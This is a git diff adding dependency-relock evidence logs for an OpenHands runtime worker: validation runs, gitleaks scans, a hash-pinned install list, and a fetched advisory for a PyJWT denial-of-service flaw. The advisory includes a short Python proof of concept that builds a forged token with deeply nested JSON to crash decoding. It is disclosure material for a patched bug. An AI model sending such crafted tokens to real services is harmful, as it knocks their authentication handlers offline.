scope.","type":"reviewed","severity":"medium","repository_advisory_url":"https://api.github.com/repos/jpadilla/pyjwt/security-advisories/GHSA-42vr-xj54-vc7v","source_code_location":"https://github.com/jpadilla/pyjwt","identifiers":[{"value":"GHSA-42vr-xj54-vc7v","type":"GHSA"},{"value":"CVE-2026-101918","type":"CVE"}],"references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v","https://nvd.nist.gov/vuln/detail/CVE-2026-101918","https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b","https://github.com/jpadilla/pyjwt/releases/tag/2.15.0","https://github.com/advisories/GHSA-42vr-xj54-vc7v"],"published_at":"2026-09-30T15:41:05Z","updated_at":"2026-09-30T15:41:07Z","github_reviewed_at":"2026-09-30T15:41:05Z","nvd_published_at":"2026-09-28T21:17:13Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"PyJWT"},"vulnerable_version_range":">= 2.0.0a1, <= 2.14.0","first_patched_version":"2.15.0","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-248","name":"Uncaught Exception"}],"credits":[{"user":{"login":"not-ekalabya","id":154486133,"node_id":"U_kgDOCTVFdQ","avatar_url":"https://avatars.githubusercontent.com/u/154486133?v=4","gravatar_id":"","url":"https://api.github.com/users/not-ekalabya","html_url":"https://github.com/not-ekalabya","followers_url":"https://api.github.com/users/not-ekalabya/followers","following_url":"https://api.github.com/users/not-ekalabya/following{/other_user}","gists_url":"https://api.github.com/users/not-ekalabya/gists{/gist_id}","starred_url":"https://api.github.com/users/not-ekalabya/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/not-ekalabya/subscriptions","organizations_url":"https://api.github.com/users/not-ekalabya/orgs","repos_url":"https://api.github.com/users/not-ekalabya/repos","events_url":"https://api.github.com/users/not-ekalabya/events{/privacy}","received_events_url":"https://api.github.com/users/not-ekalabya/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"epss":{"percentage":0.00291,"percentile":0.19506}} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt new file mode 100644 index 000000000..a951039f4 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt @@ -0,0 +1,9 @@ +argv: ["rtk", "proxy", "curl", "--fail", "--silent", "--show-error", "https://api.osv.dev/v1/vulns/GHSA-42vr-xj54-vc7v"] +cwd: +started_utc: 2026-09-30T16:09:27.121742+00:00 +ended_utc: 2026-09-30T16:09:27.292436+00:00 +exit_code: 0 + +stdout: +{"id":"GHSA-42vr-xj54-vc7v","summary":"PyJWT: Unauthenticated RecursionError DoS in pre-verification payload parse (PyJWKClient.get_signing_key_from_jwt / verify_signature=False)","details":"## Summary\n\n`PyJWKClient.get_signing_key_from_jwt(token)` — the first step of the JWKS\nverification flow documented in `docs/usage.rst` — must decode a token's\npayload before its signature can be checked, via\n`jwt.api_jwt.decode_complete(token, options={\"verify_signature\": False})`.\nThat call parses the payload with `json.loads` in `PyJWT._decode_payload`\n(`jwt/api_jwt.py:297-300`), whose `except` clause catches only `ValueError`.\nA payload that is valid JSON but nested ~20,000 levels deep makes\n`json.loads` raise `RecursionError`, which is **not** a `ValueError` and\nescapes as a raw, undocumented exception type — not `DecodeError`,\n`InvalidTokenError`, or `PyJWTError`, so every documented error-handling\npattern in `docs/usage.rst` misses it.\n\nThe token needs no valid signature and no network access — the crash\nhappens during payload parsing, before the `kid` is even looked up. A\nsingle unauthenticated ~50KB request crashes the caller's auth handler\n(HTTP 500 / dead worker), repeatably. The same path is reachable through\nplain `jwt.decode(token, options={\"verify_signature\": False})` too.\n\nNotably, this project already fixed the **identical** bug class for the\nJWS **header** path — `PyJWS._load` catches `(ValueError, RecursionError)`\nand wraps it in `DecodeError` (`jwt/api_jws.py:360-361`), and\n`CHANGELOG.rst` (v2.14.0, \"Security\") states \"Handle deeply nested and\nmalformed JWS/JWK input without uncaught recursion errors.\" The payload\npath — the one part of a forged token an unauthenticated attacker fully\ncontrols — was left catching `ValueError` alone, so that security fix does\nnot fully hold.\n\nA second, related instance: `PyJWKClient.fetch_data` (`jwt/jwks_client.py:168`)\nparses a JWKS endpoint's response with `json.load(response)` inside a\n`try` that only catches `(URLError, TimeoutError, http.client.HTTPException)`\n— a deeply-nested JSON response from a JWKS endpoint raises the same raw\n`RecursionError`, uncaught entirely (worse than the payload path, which at\nleast caught plain `ValueError`).\n\n**Affected versions:** confirmed present in the current release, 2.14.0,\nand on the current `master` branch (commit `4adcd02722f5011c60079d3978dfc167b9a8eaa5`).\n\n## Reproduction\n\n```python\nimport base64, json, jwt\n\ndef b64url(b):\n return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\npayload = b64url(b\"[\" * 20_000 + b\"]\" * 20_000)\ntoken = (header + b\".\" + payload + b\".\" + b64url(b\"forged-sig\")).decode()\n\njwt.decode(token, options={\"verify_signature\": False})\n# raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)\n```\n\nControl: the same deeply-nested structure moved into the token's **header**\ninstead of its payload is correctly converted to `jwt.DecodeError` by the\nalready-hardened `jwt/api_jws.py:360` — confirming the payload path is\nspecifically the missed half of the v2.14.0 hardening, not a general gap.\n\n## Impact assessment\n\nUnauthenticated denial-of-service via unhandled exception on an auth path.\nNot an auth bypass — rated medium. With signature verification enabled,\nthis parse runs after `_verify_signature`, so only the pre-verification\npaths (`get_signing_key_from_jwt`, explicit `verify_signature=False`) are\nattacker-reachable pre-auth; the JWKS-endpoint variant requires control of\n(or a MITM on) the configured JWKS endpoint rather than being reachable\nfrom an arbitrary client token.\n\n## Suggested fix\n\nIn `jwt/api_jwt.py:299`, change `except ValueError as e:` to\n`except (ValueError, RecursionError) as e:`, mirroring\n`jwt/api_jws.py:360` exactly. In `jwt/jwks_client.py`, add the same\n`(ValueError, RecursionError)` handling around `json.load(response)` in\n`fetch_data`, raising `PyJWKClientError` (consistent with the method's\nexisting documented error contract). A patch implementing both, verified\nagainst the full test suite (457 passed, 4 skipped — pre-existing,\nenvironment-related) and against the reproduction above (now correctly\nraises `DecodeError`), is attached (`fix.patch`).\n\n## Discovery method\n\nFound and verified using `scopegrep` (https://github.com/not-ekalabya/scopegrep)\n— a semantic code-retrieval tool that surfaces every other call site of a\nsymbol alongside relevance-ranked results, which is what surfaced the\nalready-hardened header path as the direct comparison here — paired with\nan LLM coding agent (GLM-5.3) run as an open-ended security review of this\nrepository. Independently reproduced against the exact commit above before\nthis report was written. Happy to share the full session transcript on\nrequest.\n\n## Disclosure status\n\nNot shared with any other party or published. Submitting through this\nprivate channel per the project's stated security policy; no planned\npublic/conference disclosure ahead of a coordinated timeline.\n\n\n---\n\n## Maintainer triage update (2026-09-22)\n\n### Confirmed finding and scope\n\nWe confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python `RecursionError` to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with `verify_signature=False` and `PyJWKClient.get_signing_key_from_jwt`, where payload parsing occurs before key lookup.\n\nThe demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.\n\nThe separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.\n\n### Version and remediation status\n\nHistorical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is `/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md` (SHA-256 `c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81`) and `/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json` (SHA-256 `324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076`). The evidence-backed supported affected range is `\u003e= 2.0.0a1, \u003c= 2.14.0`.\n\nHistorical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into `master` or released. Consequently, `patched_versions` remains empty and this advisory remains in `triage`. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in `master` and is released, `patched_versions` and advisory lifecycle can be updated in a separate approved batch.\n\n---\n\n## Maintainer remediation update (2026-09-23)\n\nThe confirmed payload-parser finding has been fixed on `master`. Commit\n`5fde08a6cf906aa7698de2d6391d88b73006b17b` converts a recursive\npayload parse failure to the expected `DecodeError`; commit\n`9bc06658f875b9b40091539140bbbdc4639161c3` makes the regression tests\ndeterministic across supported Python versions. This update supersedes the\n2026-09-22 remediation-status statement that the fix had not landed.\n\nThe original pre-verification payload reproducer and the\n`PyJWKClient.get_signing_key_from_jwt` path were covered by regression tests.\nThe exact landed tree passed the full 39-environment local tox matrix and\nGitHub CI for commit `9bc06658f875b9b40091539140bbbdc4639161c3` passed\nall 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact\nremains an uncaught request-level exception in affected releases; there is\nstill no evidence of process termination, persistent resource exhaustion,\nauthentication bypass, or confidentiality or integrity impact.\n\nThe supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`. The latest\nreleased version is 2.14.0, which predates these commits; no released\npatched version exists yet, so `patched_versions` remains unset. CVSS v3.1\n5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from\ntriage to private draft. The next lifecycle step is a new supported 2.x\nrelease containing the fix, followed by separately approved patched-version\nand publication updates after release verification.\n\n---\n\n## Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `5fde08a6cf906aa7698de2d6391d88b73006b17b` and deterministic regression-test commit `9bc06658f875b9b40091539140bbbdc4639161c3`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: the deeply nested unsigned payload now raises `DecodeError`, while an ordinary unsigned payload still decodes. The supported affected range remains `\u003e= 2.0.0a1, \u003c= 2.14.0`; the patched version is `2.15.0`. Earlier statements in this advisory that no released patched version exists are superseded by this update.\n\nThe confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.","aliases":["CVE-2026-101918"],"modified":"2026-09-30T16:00:09.812873551Z","published":"2026-09-30T15:41:05Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-09-30T15:41:05Z","nvd_published_at":"2026-09-28T21:17:13Z","cwe_ids":["CWE-248"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-42vr-xj54-vc7v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101918"},{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/commit/5fde08a6cf906aa7698de2d6391d88b73006b17b"},{"type":"PACKAGE","url":"https://github.com/jpadilla/pyjwt"},{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/releases/tag/2.15.0"}],"affected":[{"package":{"name":"pyjwt","ecosystem":"PyPI","purl":"pkg:pypi/pyjwt"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0a1"},{"fixed":"2.15.0"}]}],"versions":["2.0.0","2.0.0a1","2.0.0a2","2.0.1","2.1.0","2.10.0","2.10.1","2.11.0","2.12.0","2.12.1","2.13.0","2.14.0","2.2.0","2.3.0","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.14.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-42vr-xj54-vc7v/GHSA-42vr-xj54-vc7v.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]} +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt new file mode 100644 index 000000000..8ae690a0d --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt @@ -0,0 +1,7 @@ +command: rtk git commit -m 'fix(openhands): relock candidate urllib3 to 2.8.0' +exit_code: 1 +returned_output_class: exec_command combined output + +12:11PM INF 0 commits scanned. +12:11PM INF scanned ~1501153 bytes (1.50 MB) in 435ms +12:11PM WRN leaks found: 1 diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt new file mode 100644 index 000000000..b2d5ba479 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py"] +cwd: +started_utc: 2026-09-30T15:56:30.505407+00:00 +ended_utc: 2026-09-30T15:56:52.440188+00:00 +exit_code: 1 + +stdout: +Publication validation failed: +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt new file mode 100644 index 000000000..88eb793de --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py"] +cwd: +started_utc: 2026-09-30T16:16:32.150138+00:00 +ended_utc: 2026-09-30T16:16:52.492246+00:00 +exit_code: 1 + +stdout: +Publication validation failed: +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt new file mode 100644 index 000000000..77796e2cf --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt @@ -0,0 +1,13 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py"] +cwd: +started_utc: 2026-09-30T15:54:54.622376+00:00 +ended_utc: 2026-09-30T15:55:14.257478+00:00 +exit_code: 1 + +stdout: +Publication validation failed: +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch +blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt: contains possible personal home path + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt new file mode 100644 index 000000000..9f559e308 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "python3", "scripts/validate.py"] +cwd: +started_utc: 2026-09-30T16:06:05.403047+00:00 +ended_utc: 2026-09-30T16:06:25.519442+00:00 +exit_code: 1 + +stdout: +Publication validation failed: +blueprints/runtime-workers/openhands/pins.json: SHA-256 mismatch +blueprints/runtime-workers/openhands/requirements.lock: SHA-256 mismatch + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt new file mode 100644 index 000000000..dd6fde4e3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt @@ -0,0 +1,2 @@ +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt new file mode 100644 index 000000000..b5b8a99f3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt @@ -0,0 +1,187 @@ +argv: ["rtk", "proxy", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--no-build-isolation", "--index-url", "https://pypi.org/simple", "-r", "/candidate.lock"] +cwd: +started_utc: 2026-09-30T15:49:29.157557+00:00 +ended_utc: 2026-09-30T15:49:30.154126+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Resolved 176 packages in 19ms +Installed 175 packages in 834ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.5.0 + + cloudpickle==3.1.2 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + fakeredis==2.34.1 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + idna==3.15 + + importlib-metadata==8.5.0 + + inquirerpy==0.3.4 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.0 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl) + + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + platformdirs==4.4.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py-key-value-aio==0.4.4 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pygments==2.20.0 + + pyjwt==2.14.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.19.0 + + pyperclip==1.11.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.9.2 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.8.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt new file mode 100644 index 000000000..a445dd622 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt @@ -0,0 +1,13 @@ +argv: ["rtk", "proxy", "rg", "-n", "exclude-newer|litellm =|lmnr =|urllib3|FROM python:3.13.15", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-sdk/pyproject.toml", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile"] +cwd: +started_utc: 2026-09-30T15:46:06.485841+00:00 +ended_utc: 2026-09-30T15:46:06.510820+00:00 +exit_code: 0 + +stdout: +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:7:exclude-newer = "7 days" # Avoid packages uploaded in the last 7 days. +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:8:exclude-newer-package = { litellm = "2026-07-20T00:00:00Z", lmnr = "2026-08-23T00:00:00Z" } # lmnr: allow 0.7.60 streaming-token fix through the 7-day guardrail +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:12: "urllib3>=2.6.3", # CVE-2026-21441, CVE-2025-66471, CVE-2025-66418 +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:39:FROM python:3.13.15-slim-trixie AS python-runtime + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt new file mode 100644 index 000000000..4050b8010 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "gitleaks", "git", "--pre-commit", "--staged", "--redact", "--no-banner", "--config", "/.gitleaks.toml", "--report-format", "json", "--report-path", "/gitleaks-clean-report.json", ""] +cwd: +started_utc: 2026-09-30T16:17:22.325408+00:00 +ended_utc: 2026-09-30T16:17:23.020742+00:00 +exit_code: 0 + +stdout: + +stderr: +12:17PM INF 0 commits scanned. +12:17PM INF scanned ~1550343 bytes (1.55 MB) in 279ms +12:17PM INF no leaks found diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json new file mode 100644 index 000000000..d09ece721 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json @@ -0,0 +1,22 @@ +[ + { + "RuleID": "jwt", + "Description": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data.", + "StartLine": 8, + "EndLine": 8, + "StartColumn": 2595, + "EndColumn": 2702, + "Match": "REDACTED ", + "Secret": "REDACTED", + "File": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "SymlinkFile": "", + "Commit": "", + "Entropy": 5.339324, + "Author": "", + "Email": "", + "Date": "0001-01-01T00:00:00Z", + "Message": "", + "Tags": [], + "Fingerprint": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt:jwt:8" + } +] diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt new file mode 100644 index 000000000..fcf20e278 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "gitleaks", "git", "--pre-commit", "--staged", "--redact", "--no-banner", "--config", "/.gitleaks.toml", "--report-format", "json", "--report-path", "/gitleaks-report.json", ""] +cwd: +started_utc: 2026-09-30T16:13:25.556751+00:00 +ended_utc: 2026-09-30T16:13:26.203950+00:00 +exit_code: 1 + +stdout: + +stderr: +12:13PM INF 0 commits scanned. +12:13PM INF scanned ~1501153 bytes (1.50 MB) in 256ms +12:13PM WRN leaks found: 1 diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt new file mode 100644 index 000000000..7b26b6b1e --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt @@ -0,0 +1,15 @@ +argv: ["rtk", "proxy", "sha256sum", "/source.tar.gz", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/uv.lock", "/osv-scanner", "/ci-config.toml", "/requirements.in", "/constraints.txt"] +cwd: +started_utc: 2026-09-30T15:46:06.683231+00:00 +ended_utc: 2026-09-30T15:46:06.758360+00:00 +exit_code: 0 + +stdout: +643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c /source.tar.gz +9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801 /source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/uv.lock +ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108 /osv-scanner +ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8 /ci-config.toml +058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba /requirements.in 